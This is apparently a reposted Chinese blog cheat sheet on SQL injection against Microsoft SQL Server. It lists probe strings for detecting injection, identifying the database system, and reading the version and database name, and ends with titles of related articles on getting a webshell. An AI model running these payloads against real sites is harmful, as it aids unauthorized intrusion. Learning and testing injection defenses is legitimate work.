注入--mssql(sqlserver)

Posted 人的梦想是不会结束的

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了注入--mssql(sqlserver)相关的知识,希望对你有一定的参考价值。

mssql端口号:1433

判断是否又注入:

and 1=1

and 1=2

判断是否为mssql

and user>0

判断数据库库系统

and(select count(*) from sysobjects)>0 mssql

and (select count(*) from msysobjects) >0 access

判断数据库版本

and 1=(select @@version)

判断数据库名

and 1=(select db_name)

总结https://blog.51cto.com/saturn/197354

 

以上是关于注入--mssql(sqlserver)的主要内容,如果未能解决你的问题,请参考以下文章

MSSQL DBA权限获取WEBSHELL的过程

MSSQL注入SA权限不显错模式下的入侵

网络安全从入门到精通 (第五章-3) MSSQL反弹注入

Mssql 跨域查询

MSSQL注入-显错注入及反弹注入

MSSQL SQL注入